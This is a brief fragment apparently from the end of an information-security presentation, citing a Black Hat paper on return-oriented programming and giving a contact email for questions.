08/SHACHAM/BH_US_08_SHACHAM_RETURN_ORIENTED_PROGRAMMING.PDF
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INFORMATION SECURITY SOLUTIONS

YOUR QUESTIONS ARE ALWAYS WELCOME!

BRIAN.MARIANI@HTBRIDGE.CH
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